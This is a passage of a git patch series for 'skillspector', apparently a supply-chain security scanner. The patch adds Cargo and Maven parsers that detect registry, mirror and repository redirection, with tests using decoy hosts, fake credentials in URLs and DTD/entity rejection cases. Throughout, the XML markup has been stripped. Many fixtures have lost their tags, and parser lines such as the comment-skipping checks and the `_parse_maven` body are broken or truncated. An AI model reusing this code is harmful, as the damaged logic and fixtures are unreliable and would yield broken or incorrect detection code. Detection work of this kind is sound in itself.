"unrelated = " + "1" * 5_000 + "\n"), + ], + ids=("yaml", "toml"), +) +def test_structured_numeric_conversion_failure_is_a_localized_limitation( + path: str, + content: str, +) -> None: + analysis = _analyze({path: content}) + + _assert_single_parse_limitation(analysis, path=path, end_line=2) From eb4dca7d178febb38cfe5d1d7151f9997c0a93df Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Mon, 24 Aug 2026 09:33:08 -0700 Subject: [PATCH 21/30] feat(sc10): parse cargo and Maven sources Signed-off-by: Nir Paz --- src/skillspector/dependency_source_types.py | 6 + src/skillspector/dependency_sources.py | 536 ++++++++++++- tests/nodes/analyzers/data/sc10_controls.json | 62 +- tests/nodes/analyzers/data/sc10_findings.json | 26 +- .../analyzers/test_dependency_sources.py | 716 ++++++++++++++++++ tests/unit/test_dependency_source_types.py | 27 +- 6 files changed, 1320 insertions(+), 53 deletions(-) diff --git a/src/skillspector/dependency_source_types.py b/src/skillspector/dependency_source_types.py index 4022b3ee..3a1c2880 100644 --- a/src/skillspector/dependency_source_types.py +++ b/src/skillspector/dependency_source_types.py @@ -61,6 +61,8 @@ class DependencySourceSurface(StrEnum): PIP_CONFIG = "pip config" YARN_CONFIG = "yarn-config" PYTHON_PROJECT_CONFIG = "python-project-config" + CARGO_CONFIG = "cargo-config" + MAVEN_CONFIG = "maven-config" SOURCE = "source" REPOSITORY = "repository" MIRROR = "mirror" @@ -86,6 +88,10 @@ class DependencySourceScope(StrEnum): GLOBAL = "global" SCOPED = "scoped" PROJECT = "project" + SOURCE = "source" + REGISTRY = "registry" + MIRROR = "mirror" + REPOSITORY = "repository" COMMAND = "command" INVOCATION = "invocation" ENVIRONMENT = "environment" diff --git a/src/skillspector/dependency_sources.py b/src/skillspector/dependency_sources.py index 9f313a07..d000a4c2 100644 --- a/src/skillspector/dependency_sources.py +++ b/src/skillspector/dependency_sources.py @@ -9,9 +9,10 @@ import json import re import tomllib +import xml.etree.ElementTree as ET from collections.abc import Iterable, Mapping, Sequence from dataclasses import dataclass, field -from typing import Final +from typing import Final, cast from urllib.parse import urlsplit import yaml # type: ignore[import-untyped] @@ -53,18 +54,22 @@ _YARN_V1_BASENAMES: Final = frozenset({".yarnrc"}) _YARN_YAML_BASENAMES: Final = frozenset({".yarnrc.yml", ".yarnrc.yaml"}) _PYTHON_PROJECT_BASENAMES: Final = frozenset({"pyproject.toml", "uv.toml"}) +_MAVEN_BASENAMES: Final = frozenset({"settings.xml", "pom.xml"}) +_CARGO_FILENAMES: Final = frozenset({"config", "config.toml"}) _RECOGNIZED_BASENAMES: Final = ( _NPM_BASENAMES | _PIP_BASENAMES | _YARN_V1_BASENAMES | _YARN_YAML_BASENAMES | _PYTHON_PROJECT_BASENAMES + | _MAVEN_BASENAMES ) _NPM_SCOPED_REGISTRY: Final = re.compile(r"^@[^:\s]+:registry$", re.IGNORECASE) _YARN_SCOPED_REGISTRY: Final = re.compile(r"^@[^:\s]+:registry$") _NPM_INTERPOLATION: Final = re.compile(r"\$\{[^{}]+\}") _PIP_INTERPOLATION: Final = re.compile(r"%\([^)]+\)s") _PDM_INTERPOLATION: Final = re.compile(r"\$\{[A-Za-z_][A-Za-z0-9_]*\}") +_MAVEN_INTERPOLATION: Final = re.compile(r"\$\{[^{}]+\}") _PIP_ASSIGNMENT: Final = re.compile(r"^\s*([^:=\s][^:=]*?)\s*([=:])\s*(.*)$") _PIP_SECTION: Final = re.compile(r"^\s*\[([^]]+)]\s*(?:[#;].*)?$") _PIP_OPTIONS: Final = ("index-url", "extra-index-url") @@ -75,6 +80,13 @@ DependencyEcosystem.POETRY: frozenset({"https://pypi.org/simple/"}), DependencyEcosystem.PDM: frozenset({"https://pypi.org/simple/"}), DependencyEcosystem.UV: frozenset({"https://pypi.org/simple/"}), + DependencyEcosystem.CARGO: frozenset( + { + "https://github.com/rust-lang/crates.io-index", + "sparse+https://index.crates.io/", + } + ), + DependencyEcosystem.MAVEN: frozenset({"https://repo.maven.apache.org/maven2/"}), } _MISSING: Final = object() _WRONG_SHAPE: Final = object() @@ -122,10 +134,43 @@ class _TomlTableCursor: url_span: SourceSpan | None = None +@dataclass(frozen=True, slots=True) +class _XmlSemanticRecord: + parent_path: tuple[str, ...] + destination: str + operation: DependencySourceOperation + scope: DependencySourceScope + + +@dataclass(slots=True) +class _XmlFrame: + name: str + element: ET.Element + accepted: bool + urls: list[tuple[str | None, bool]] = field(default_factory=list) + had_child: bool = False + + +@dataclass(slots=True) +class _XmlLexicalFrame: + name: str + inner_start: int + has_markup: bool = False + + def _basename(path: str) -> str: return path.rsplit("/", 1)[-1] +def _is_cargo_path(path: str) -> bool: + parts = path.split("/") + return len(parts) >= 2 and parts[-2] == ".cargo" and parts[-1] in _CARGO_FILENAMES + + +def _is_recognized_path(path: str) -> bool: + return _basename(path) in _RECOGNIZED_BASENAMES or _is_cargo_path(path) + + def _line_count(raw: bytes | None) -> int: return max(1, raw.count(b"\n") + 1) if raw is not None else 1 @@ -242,8 +287,7 @@ def _canonical_destination(ecosystem: DependencyEcosystem, value: str) -> bool: try: parsed = urlsplit(value) if ( - parsed.scheme.lower() != "https" - or parsed.username is not None + parsed.username is not None or parsed.password is not None or parsed.port is not None or parsed.hostname is None @@ -262,7 +306,7 @@ def _canonical_destination(ecosystem: DependencyEcosystem, value: str) -> bool: if ( parsed.scheme.casefold() == canonical.scheme.casefold() and parsed.hostname.casefold() == canonical_hostname.casefold() - and parsed.path in {canonical.path, canonical.path.removesuffix("/")} + and parsed.path.removesuffix("/") == canonical.path.removesuffix("/") ): return True return False @@ -278,6 +322,7 @@ def _destination( DependencyEcosystem.NPM: _NPM_INTERPOLATION, DependencyEcosystem.PIP: _PIP_INTERPOLATION, DependencyEcosystem.PDM: _PDM_INTERPOLATION, + DependencyEcosystem.MAVEN: _MAVEN_INTERPOLATION, }.get(ecosystem) if interpolation is not None and interpolation.search(raw_destination): return "unresolved", DestinationStatus.UNRESOLVED @@ -331,9 +376,9 @@ def _changes_from_candidates( for candidate in candidates: raw_destination = candidate.destination if raw_destination is None: - raw_destination = raw[ - candidate.span.start_byte : candidate.span.end_byte - ].decode("utf-8") + raw_destination = raw[candidate.span.start_byte : candidate.span.end_byte].decode( + "utf-8" + ) retained_literal_bytes += len(raw_destination.encode("utf-8")) normalized = _destination(candidate.ecosystem, raw_destination) if normalized is not None: @@ -1471,6 +1516,477 @@ def _parse_python_project( ) +def _toml_direct_value_cursors( + path: str, + text: str, + relevant_roots: frozenset[str], + relevant_keys: frozenset[str], +) -> dict[tuple[tuple[str, ...], str], SourceSpan] | None: + cursors: dict[tuple[tuple[str, ...], str], SourceSpan] = {} + current_table: tuple[str, ...] | None = None + byte_offsets = _char_to_byte_offsets(text) + position = 0 + multiline_delimiter: str | None = None + while position < len(text): + line_end = text.find("\n", position) + if line_end < 0: + line_end = len(text) + physical_end = ( + line_end - 1 if line_end > position and text[line_end - 1] == "\r" else line_end + ) + line = text[position:physical_end] + stripped = line.lstrip() + leading = len(line) - len(stripped) + starts_in_multiline_string = multiline_delimiter is not None + if not starts_in_multiline_string and stripped.startswith("[["): + current_table = None + elif not starts_in_multiline_string and stripped.startswith("["): + close = _toml_find_unquoted(stripped, "]") + current_table = None + if close is None: + return None + table_path = _toml_key_parts(stripped[1:close]) + if table_path is not None and len(table_path) == 2 and table_path[0] in relevant_roots: + current_table = table_path + elif ( + not starts_in_multiline_string + and current_table is not None + and stripped + and not stripped.startswith("#") + ): + equals = _toml_find_unquoted(stripped, "=") + if equals is not None: + key_parts = _toml_key_parts(stripped[:equals]) + if key_parts is not None and len(key_parts) == 1 and key_parts[0] in relevant_keys: + value_start = position + leading + equals + 1 + while value_start < len(text) and text[value_start] in " \t": + value_start += 1 + value_end = _toml_value_extent(text, value_start) + cursor_key = (current_table, key_parts[0]) + if cursor_key in cursors or value_end <= value_start: + return None + cursors[cursor_key] = SourceSpan( + path, + byte_offsets[value_start], + byte_offsets[value_end], + text.count("\n", 0, value_start) + 1, + text.count("\n", 0, value_end) + 1, + ) + position = value_end + next_newline = text.find("\n", position) + position = len(text) if next_newline < 0 else next_newline + 1 + continue + multiline_delimiter = _toml_multiline_string_state(line, multiline_delimiter) + position = len(text) if line_end == len(text) else line_end + 1 + return cursors + + +def _parse_cargo( + path: str, + text: str, + raw: bytes, + budget: DependencyFileBudget, +) -> DependencySourceParseResult: + try: + document = tomllib.loads(text) + except (tomllib.TOMLDecodeError, ValueError, OverflowError, RecursionError): + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + if exhaustion := _toml_structural_check(document, budget): + return DependencySourceParseResult(limitations=(_limitation(path, raw, exhaustion),)) + cursors = _toml_direct_value_cursors( + path, + text, + frozenset({"source", "registries"}), + frozenset({"replace-with", "registry", "directory", "local-registry", "git", "index"}), + ) + if cursors is None: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + + source_root = document.get("source", _MISSING) + registry_root = document.get("registries", _MISSING) + if source_root is not _MISSING and not isinstance(source_root, dict): + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + if registry_root is not _MISSING and not isinstance(registry_root, dict): + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + sources: dict[str, tuple[str, str, SourceSpan]] = {} + registries: dict[str, tuple[str, SourceSpan]] = {} + candidates: list[_Candidate] = [] + source_kinds = ("replace-with", "registry", "directory", "local-registry", "git") + + for name, record in source_root.items() if isinstance(source_root, dict) else (): + if not name or not isinstance(record, dict): + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + configured = [kind for kind in source_kinds if kind in record] + if len(configured) > 1: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + if not configured: + continue + kind = configured[0] + value = record[kind] + span = cursors.get((("source", name), kind)) + if not isinstance(value, str) or not value.strip() or span is None: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + sources[name] = (kind, value, span) + if kind == "registry": + candidates.append( + _Candidate( + ecosystem=DependencyEcosystem.CARGO, + surface=DependencySourceSurface.CARGO_CONFIG, + operation=DependencySourceOperation.ADD, + scope=DependencySourceScope.REGISTRY, + span=span, + destination=value, + ) + ) + + for name, record in registry_root.items() if isinstance(registry_root, dict) else (): + if not name or not isinstance(record, dict): + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + if "index" not in record: + continue + value = record["index"] + span = cursors.get((("registries", name), "index")) + if not isinstance(value, str) or not value.strip() or span is None: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + registries[name] = (value, span) + candidates.append( + _Candidate( + ecosystem=DependencyEcosystem.CARGO, + surface=DependencySourceSurface.CARGO_CONFIG, + operation=DependencySourceOperation.ADD, + scope=DependencySourceScope.REGISTRY, + span=span, + destination=value, + ) + ) + + for source_name, (kind, target_name, replace_span) in sources.items(): + if kind != "replace-with": + continue + seen = {source_name} + current = target_name + destination: str | None = None + while True: + if current in seen: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + seen.add(current) + target = sources.get(current) + if target is not None: + target_kind, target_value, _target_span = target + if target_kind == "replace-with": + current = target_value + continue + if target_kind == "registry": + destination = target_value + break + registry = registries.get(current) + if registry is not None: + destination = registry[0] + break + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + if destination is not None: + candidates.append( + _Candidate( + ecosystem=DependencyEcosystem.CARGO, + surface=DependencySourceSurface.CARGO_CONFIG, + operation=DependencySourceOperation.REPLACE, + scope=DependencySourceScope.SOURCE, + span=replace_span, + destination=destination, + ) + ) + + candidates.sort(key=lambda item: item.span.start_byte) + return _changes_from_candidates( + candidates, + path=path, + raw=raw, + budget=budget, + atomic=True, + ) + + +_MAVEN_PARENT_SEMANTICS: Final[ + dict[tuple[str, ...], tuple[DependencySourceOperation, DependencySourceScope]] +] = { + ("settings", "mirrors", "mirror"): ( + DependencySourceOperation.REPLACE, + DependencySourceScope.MIRROR, + ), + ("settings", "profiles", "profile", "repositories", "repository"): ( + DependencySourceOperation.ADD, + DependencySourceScope.REPOSITORY, + ), + ("settings", "profiles", "profile", "pluginRepositories", "pluginRepository"): ( + DependencySourceOperation.ADD, + DependencySourceScope.REPOSITORY, + ), + ("project", "repositories", "repository"): ( + DependencySourceOperation.ADD, + DependencySourceScope.REPOSITORY, + ), + ("project", "pluginRepositories", "pluginRepository"): ( + DependencySourceOperation.ADD, + DependencySourceScope.REPOSITORY, + ), +} + + +def _xml_local_name(tag: object) -> str | None: + if not isinstance(tag, str): + return None + return tag.rsplit("}", 1)[-1].rsplit(":", 1)[-1] + + +def _xml_semantic_records( + path: str, + text: str, + raw: bytes, + budget: DependencyFileBudget, +) -> tuple[list[_XmlSemanticRecord] | None, bool, DependencySourceParseResult | None]: + parser = ET.XMLPullParser(events=("start", "end")) + frames: list[_XmlFrame] = [] + records: list[_XmlSemanticRecord] = [] + root_name: str | None = None + invalid_relevant = False + + def consume_events() -> DependencyWorkExhaustion | bool | None: + nonlocal root_name, invalid_relevant + for raw_event in parser.read_events(): + event, element = cast(tuple[str, ET.Element], raw_event) + if event == "start": + name = _xml_local_name(element.tag) + if name is None: + return True + if exhaustion := budget.charge_config_nodes(1): + return exhaustion + depth = len(frames) + 1 + if exhaustion := budget.observe_depth(depth): + return exhaustion + if frames: + frames[-1].had_child = True + else: + root_name = name + parent_path = tuple(frame.name for frame in frames) + (name,) + frames.append( + _XmlFrame( + name=name, + element=element, + accepted=parent_path in _MAVEN_PARENT_SEMANTICS, + ) + ) + continue + if not frames or frames[-1].element is not element: + return True + current_path = tuple(frame.name for frame in frames) + frame = frames[-1] + if frame.name == "url" and len(frames) >= 2 and frames[-2].accepted: + frames[-2].urls.append((element.text, frame.had_child)) + if frame.accepted: + if len(frame.urls) != 1: + invalid_relevant = True + else: + value, unsupported = frame.urls[0] + normalized = value.strip() if isinstance(value, str) else "" + if unsupported or not normalized: + invalid_relevant = True + else: + operation, scope = _MAVEN_PARENT_SEMANTICS[current_path] + records.append( + _XmlSemanticRecord(current_path, normalized, operation, scope) + ) + frames.pop() + if frames: + try: + frames[-1].element.remove(element) + except ValueError: + return True + element.clear() + return None + + try: + for position in range(0, len(text), 4096): + parser.feed(text[position : position + 4096]) + failure = consume_events() + if failure is not None: + if isinstance(failure, DependencyWorkExhaustion): + return ( + None, + False, + DependencySourceParseResult(limitations=(_limitation(path, raw, failure),)), + ) + return ( + None, + False, + DependencySourceParseResult(limitations=(_limitation(path, raw),)), + ) + parser.close() + failure = consume_events() + if failure is not None: + if isinstance(failure, DependencyWorkExhaustion): + return ( + None, + False, + DependencySourceParseResult(limitations=(_limitation(path, raw, failure),)), + ) + return None, False, DependencySourceParseResult(limitations=(_limitation(path, raw),)) + except (ET.ParseError, ValueError, OverflowError, RecursionError): + return None, False, DependencySourceParseResult(limitations=(_limitation(path, raw),)) + if frames: + return None, False, DependencySourceParseResult(limitations=(_limitation(path, raw),)) + expected_root = "settings" if _basename(path) == "settings.xml" else "project" + applicable = root_name == expected_root + if not applicable: + return [], False, None + if invalid_relevant: + return None, True, DependencySourceParseResult(limitations=(_limitation(path, raw),)) + return records, True, None + + +def _xml_tag_end(raw: bytes, start: int) -> int | None: + quote: int | None = None + index = start + while index < len(raw): + character = raw[index] + if quote is not None: + if character == quote: + quote = None + elif character in {ord('"'), ord("'")}: + quote = character + elif character == ord(">"): + return index + 1 + index += 1 + return None + + +def _xml_raw_local_name(token: bytes) -> str | None: + raw_name = token.strip().split(None, 1)[0].rstrip(b"/") if token.strip() else b"" + if not raw_name: + return None + try: + return raw_name.rsplit(b":", 1)[-1].decode("utf-8") + except UnicodeDecodeError: + return None + + +def _xml_url_spans(path: str, raw: bytes) -> list[tuple[tuple[str, ...], SourceSpan, bool]] | None: + stack: list[_XmlLexicalFrame] = [] + spans: list[tuple[tuple[str, ...], SourceSpan, bool]] = [] + index = 0 + while index < len(raw): + marker = raw.find(b"<", index) + if marker < 0: + break + if raw.startswith(b"", marker + 4) + if end < 0: + return None + if stack and stack[-1].name == "url": + stack[-1].has_markup = True + index = end + 3 + continue + if raw.startswith(b"", marker + 9) + if end < 0: + return None + if stack and stack[-1].name == "url": + stack[-1].has_markup = True + index = end + 3 + continue + if raw.startswith(b"", marker + 2) + if end < 0: + return None + if stack and stack[-1].name == "url": + stack[-1].has_markup = True + index = end + 2 + continue + tag_end = _xml_tag_end(raw, marker + 1) + if tag_end is None: + return None + token = raw[marker + 1 : tag_end - 1] + if token.startswith(b"/"): + name = _xml_raw_local_name(token[1:]) + if name is None or not stack or stack[-1].name != name: + return None + frame = stack.pop() + parent_path = tuple(item.name for item in stack) + if name == "url" and parent_path in _MAVEN_PARENT_SEMANTICS: + span_start = frame.inner_start + span_end = marker + while span_start < span_end and raw[span_start] in b" \t\r\n": + span_start += 1 + while span_end > span_start and raw[span_end - 1] in b" \t\r\n": + span_end -= 1 + spans.append( + ( + parent_path, + SourceSpan( + path, + span_start, + span_end, + raw.count(b"\n", 0, span_start) + 1, + raw.count(b"\n", 0, span_end) + 1, + ), + frame.has_markup, + ) + ) + elif token.startswith(b"!"): + return None + else: + name = _xml_raw_local_name(token) + if name is None: + return None + if stack and stack[-1].name == "url": + stack[-1].has_markup = True + self_closing = token.rstrip().endswith(b"/") + if not self_closing: + stack.append(_XmlLexicalFrame(name=name, inner_start=tag_end)) + index = tag_end + return spans if not stack else None + + +def _parse_maven( + path: str, + text: str, + raw: bytes, + budget: DependencyFileBudget, +) -> DependencySourceParseResult: + if b" None: + content = ( + "# decoy sparse+https://decoy.example.invalid/index/\n" + "[source.crates-io]\n" + 'replace-with = "mirror"\n' + "\n[registries.mirror]\n" + 'index = "sparse+https://packages.example.invalid/index/"\n' + ) + + analysis = _analyze({path: content}) + + assert analysis.limitations == () + assert _finding_projection(analysis) == [ + { + "ecosystem": "cargo", + "surface": "cargo-config", + "operation": "replace", + "scope": "source", + "destination": "sparse+https://packages.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": path, + "start_line": 3, + "end_line": 3, + }, + { + "ecosystem": "cargo", + "surface": "cargo-config", + "operation": "add", + "scope": "registry", + "destination": "sparse+https://packages.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": path, + "start_line": 6, + "end_line": 6, + }, + ] + + module = importlib.import_module("skillspector.dependency_sources") + parsed = module._parse_file( + path, + content, + content.encode(), + DependencyWorkBudget().for_file(path), + ) + assert [ + content.encode()[change.span.start_byte : change.span.end_byte] for change in parsed.changes + ] == [ + b'"mirror"', + b'"sparse+https://packages.example.invalid/index/"', + ] + + +def test_maven_reports_only_direct_project_repositories_not_false_positive_decoys() -> None: + content = ( + "\n" + " \n" + " \n" + " https://release.example.invalid/m2\n" + " https://snapshot.example.invalid/m2" + "\n" + " " + "https://nested-plugin.example.invalid/m2" + "\n" + " \n" + " \n" + " https://plugins.example.invalid/m2\n" + " \n" + "\n" + ) + + analysis = _analyze({"pom.xml": content}) + + assert analysis.limitations == () + assert _finding_projection(analysis) == [ + { + "ecosystem": "maven", + "surface": "maven-config", + "operation": "add", + "scope": "repository", + "destination": "https://plugins.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "pom.xml", + "start_line": 9, + "end_line": 9, + } + ] + + +def test_cargo_standalone_sources_and_registries_keep_distinct_equal_url_occurrences() -> None: + content = ( + "# café\r\n" + "[source.first-private-name]\r\n" + 'registry = "https://same.example.invalid/index"\r\n' + "[registries.second-private-name]\r\n" + 'index = "https://same.example.invalid/index"\r\n' + ) + + analysis = _analyze({".cargo/config.toml": content}) + + assert analysis.limitations == () + assert [finding.start_line for finding in analysis.findings] == [3, 5] + assert {finding.evidence["surface"] for finding in analysis.findings} == {"cargo-config"} + assert {finding.evidence["operation"] for finding in analysis.findings} == {"add"} + assert {finding.evidence["scope"] for finding in analysis.findings} == {"registry"} + assert len(analysis.findings) == 2 + assert "first-private-name" not in repr(analysis) + assert "second-private-name" not in repr(analysis) + + +def test_cargo_two_hop_fan_in_emits_each_replacement_and_target_only_once() -> None: + content = ( + "[source.first-private-name]\nreplace-with='middle-private-name'\n" + "[source.second-private-name]\nreplace-with='middle-private-name'\n" + "[source.middle-private-name]\nreplace-with='target-private-name'\n" + "[registries.target-private-name]\n" + "index='sparse+https://packages.example.invalid/index/'\n" + ) + + analysis = _analyze({".cargo/config.toml": content}) + + assert analysis.limitations == () + assert [finding.evidence["operation"] for finding in analysis.findings] == [ + "replace", + "replace", + "replace", + "add", + ] + assert [finding.start_line for finding in analysis.findings] == [2, 4, 6, 8] + assert {finding.evidence["scope"] for finding in analysis.findings} == { + "source", + "registry", + } + for private_name in ( + "first-private-name", + "second-private-name", + "middle-private-name", + "target-private-name", + ): + assert private_name not in repr(analysis) + + +@pytest.mark.parametrize( + "content", + [ + "[source.a]\nreplace-with='missing'\n", + "[source.a]\nreplace-with='b'\n[source.b]\nreplace-with='a'\n", + "[source.a]\nreplace-with=''\n", + "[source.a]\nreplace-with=1\n", + "[source.a]\nregistry=''\n", + "[source.a]\nregistry=' '\n", + "[registries.a]\nindex=1\n", + "[registries.a]\nindex=' '\n", + "[source.a]\nregistry='https://one.example.invalid'\nregistry='https://two.example.invalid'\n", + "[source.a]\nreplace-with='b'\nregistry='https://one.example.invalid'\n", + "[source.a]\ndirectory='vendor'\ngit='https://git.example.invalid/repo'\n", + "[source.a\nregistry='https://one.example.invalid'\n", + ], +) +def test_cargo_ambiguous_or_malformed_relevant_configuration_is_a_limitation( + content: str, +) -> None: + analysis = _analyze({".cargo/config.toml": content}) + + _assert_single_parse_limitation( + analysis, + path=".cargo/config.toml", + end_line=content.encode().count(b"\n") + 1, + ) + + +@pytest.mark.parametrize( + "content", + [ + "[source.a]\ndirectory='vendor'\n", + "[source.a]\nlocal-registry='vendor/index'\n", + "[source.a]\ngit='https://git.example.invalid/repo'\n", + ( + "[source.custom]\n" + "registry='https://github.com/rust-lang/crates.io-index/'\n" + "[registries.sparse]\nindex='SPARSE+HTTPS://INDEX.CRATES.IO'\n" + "[source.origin]\nreplace-with='custom'\n" + ), + ], +) +def test_cargo_local_targets_and_exact_canonical_destinations_are_inert(content: str) -> None: + analysis = _analyze({".cargo/config": content}) + + assert analysis.findings == () + assert analysis.limitations == () + + +def test_cargo_credentials_and_attacker_identifiers_never_cross_public_boundaries() -> None: + identifier = "private-registry-identifier-7f3c" + secret = "cargo-secret-4f387" + content = ( + f"[registries.{identifier}]\n" + f'index="sparse+https://alice:{secret}@packages.example.invalid/private?token={secret}"\n' + ) + + analysis = _analyze({".cargo/config.toml": content}) + + assert len(analysis.findings) == 1 + assert analysis.limitations == () + assert secret not in repr(analysis) + assert identifier not in repr(analysis) + assert analysis.findings[0].evidence["destination"] == ( + "sparse+https://packages.example.invalid/REDACTED_PATH" + ) + + +def test_maven_settings_accepts_only_mirrors_and_profile_repository_paths() -> None: + content = ( + '\n' + " private-mirror-idprivate-pattern\n" + " https://mirror.example.invalid/m2\n" + " private-profile-id\n" + " https://repo.example.invalid/m2" + "\n" + " \n" + " https://plugins.example.invalid/m2\n" + " \n" + " \n" + " https://wrong-depth.example.invalid/m2" + "\n" + "\n" + ) + + analysis = _analyze({"settings.xml": content}) + + assert analysis.limitations == () + assert [ + (finding.evidence["operation"], finding.evidence["scope"], finding.start_line) + for finding in analysis.findings + ] == [ + ("replace", "mirror", 3), + ("add", "repository", 5), + ("add", "repository", 7), + ] + assert {finding.evidence["surface"] for finding in analysis.findings} == {"maven-config"} + for private_value in ("private-mirror-id", "private-pattern", "private-profile-id"): + assert private_value not in repr(analysis) + + +def test_maven_project_accepts_both_direct_repository_container_types() -> None: + content = ( + "\n" + " https://repo.example.invalid/m2" + "\n" + " https://plugins.example.invalid/m2" + "\n" + "\n" + ) + + analysis = _analyze({"pom.xml": content}) + + assert analysis.limitations == () + assert [finding.start_line for finding in analysis.findings] == [2, 3] + assert {finding.evidence["scope"] for finding in analysis.findings} == {"repository"} + + +@pytest.mark.parametrize( + ("path", "content"), + [ + ( + "settings.xml", + "https://wrong.example.invalid/m2" + "\n", + ), + ( + "pom.xml", + "https://wrong.example.invalid/m2" + "\n", + ), + ( + "pom.xml", + "" + "https://nested.example.invalid/m2" + "\n", + ), + ( + "pom.xml", + "\n", + ), + ], +) +def test_maven_wrong_roots_nested_paths_and_comments_are_inert( + path: str, + content: str, +) -> None: + analysis = _analyze({path: content}) + + assert analysis.findings == () + assert analysis.limitations == () + + +@pytest.mark.parametrize( + ("path", "content"), + [ + ( + "settings.xml", + "\n", + ), + ( + "settings.xml", + " \n", + ), + ( + "settings.xml", + "https://one.example.invalid" + "https://two.example.invalid\n", + ), + ( + "pom.xml", + "https://x.example.invalid" + "\n", + ), + ( + "pom.xml", + "https://x.example.invalid" + "\n", + ), + ("pom.xml", "\n"), + ], +) +def test_maven_missing_empty_duplicate_unsupported_or_malformed_urls_are_limitations( + path: str, + content: str, +) -> None: + analysis = _analyze({path: content}) + + _assert_single_parse_limitation( + analysis, + path=path, + end_line=content.encode().count(b"\n") + 1, + ) + + +@pytest.mark.parametrize( + "marker", + [ + "", + "", + "", + "", + "]]>", + "]]>", + ], +) +def test_maven_rejects_raw_dtd_and_entity_markers_everywhere_before_parser_construction( + marker: str, + monkeypatch: pytest.MonkeyPatch, +) -> None: + module = importlib.import_module("skillspector.dependency_sources") + calls: list[object] = [] + + def unexpected_parser(*args: object, **kwargs: object) -> object: + calls.append((args, kwargs)) + raise AssertionError("XMLPullParser must not be constructed") + + monkeypatch.setattr(module.ET, "XMLPullParser", unexpected_parser) + content = f"{marker}\n" + + analysis = _analyze({"settings.xml": content}) + + _assert_single_parse_limitation(analysis, path="settings.xml", end_line=2) + assert calls == [] + + +def test_maven_xml_decoding_canonicality_interpolation_redaction_and_spans() -> None: + secret = "maven-secret-4f387" + content = ( + "\n" + " \n" + " https://repo.maven.apache.org/maven2/\n" + f" https://alice:{secret[:5]}-{secret[6:]}@packages.example.invalid/private\n" + " https://${private.repository}/m2\n" + " \n" + "\n" + ) + + analysis = _analyze({"settings.xml": content}) + + assert analysis.limitations == () + assert len(analysis.findings) == 2 + assert [finding.start_line for finding in analysis.findings] == [4, 5] + assert analysis.findings[0].evidence["destination"] == ( + "https://packages.example.invalid/REDACTED_PATH" + ) + assert analysis.findings[1].evidence == { + "ecosystem": "maven", + "surface": "maven-config", + "operation": "replace", + "scope": "mirror", + "destination": "unresolved", + "destination_status": "unresolved", + } + assert secret not in repr(analysis) + assert "private.repository" not in repr(analysis) + + module = importlib.import_module("skillspector.dependency_sources") + parsed = module._parse_file( + "settings.xml", + content, + content.encode(), + DependencyWorkBudget().for_file("settings.xml"), + ) + assert content.encode()[ + parsed.changes[0].span.start_byte : parsed.changes[0].span.end_byte + ].startswith(b"https://alice:") + + +def test_maven_repeated_url_text_uses_accepted_parent_and_utf8_byte_correlation() -> None: + content = ( + "\r\n" + " café https://same.example.invalid/m2\r\n" + " \r\n" + " \r\n" + " https://same.example.invalid/m2\r\n" + " \r\n" + "\r\n" + ) + + analysis = _analyze({"pom.xml": content}) + + assert analysis.limitations == () + assert len(analysis.findings) == 1 + assert analysis.findings[0].start_line == 5 + module = importlib.import_module("skillspector.dependency_sources") + parsed = module._parse_file( + "pom.xml", + content, + content.encode(), + DependencyWorkBudget().for_file("pom.xml"), + ) + span = parsed.changes[0].span + assert content.encode()[span.start_byte : span.end_byte] == (b"https://same.example.invalid/m2") + + +def test_maven_url_span_excludes_surrounding_xml_whitespace() -> None: + content = ( + " \r\n" + " https://packages.example.invalid/m2\t \n" + ) + module = importlib.import_module("skillspector.dependency_sources") + + parsed = module._parse_file( + "settings.xml", + content, + content.encode(), + DependencyWorkBudget().for_file("settings.xml"), + ) + + assert parsed.limitations == () + assert len(parsed.changes) == 1 + span = parsed.changes[0].span + assert (span.start_line, span.end_line) == (2, 2) + assert content.encode()[span.start_byte : span.end_byte] == ( + b"https://packages.example.invalid/m2" + ) + + +@pytest.mark.parametrize( + ("path", "content"), + [ + ( + ".cargo/config.toml", + "[registries.x]\nindex='https://github.com/rust-lang/crates.io-index?query=1'\n", + ), + ( + ".cargo/config.toml", + "[registries.x]\nindex='sparse+https://index.crates.io/#fragment'\n", + ), + ( + "settings.xml", + "https://repo.maven.apache.org:443/maven2/" + "\n", + ), + ( + "settings.xml", + "https://repo.maven.apache.org/MAVEN2/" + "\n", + ), + ], +) +def test_cargo_and_maven_canonical_origin_variants_remain_noncanonical( + path: str, + content: str, +) -> None: + analysis = _analyze({path: content}) + + assert len(analysis.findings) == 1 + assert analysis.limitations == () + + +@pytest.mark.parametrize( + ("path", "raw"), + [ + (".cargo/config.toml", b"[registries.x]\nindex='https://x.invalid'\xff\n"), + ("settings.xml", b"\xff\n"), + ], +) +def test_cargo_and_maven_invalid_utf8_are_content_free_limitations( + path: str, + raw: bytes, +) -> None: + analysis = _analyze( + {}, + components=[path], + raw_file_cache={path: raw}, + local_file_cache={path: raw.decode("utf-8", errors="replace")}, + artifact_inventory=[classify_artifact(path, raw)], + ) + + limitation = _assert_single_parse_limitation( + analysis, + path=path, + end_line=raw.count(b"\n") + 1, + ) + assert "x.invalid" not in repr(limitation) + + +@pytest.mark.parametrize("family", ["cargo", "maven"]) +def test_cargo_and_maven_physical_byte_limit_is_exact_and_one_over(family: str) -> None: + if family == "cargo": + prefix = "[registries.x]\nindex='https://packages.example.invalid/index'\n#" + suffix = "\n" + path = ".cargo/config.toml" + else: + prefix = "" + path = "settings.xml" + exact = ( + prefix + + "x" * (MAX_DEPENDENCY_FILE_BYTES - len(prefix.encode()) - len(suffix.encode())) + + suffix + ) + one_over = exact + ("#" if family == "cargo" else " ") + + exact_analysis = _analyze({path: exact}) + over_analysis = _analyze({path: one_over}) + + assert exact_analysis.limitations == () + limitation = _assert_single_parse_limitation( + over_analysis, + path=path, + end_line=1 if family == "maven" else 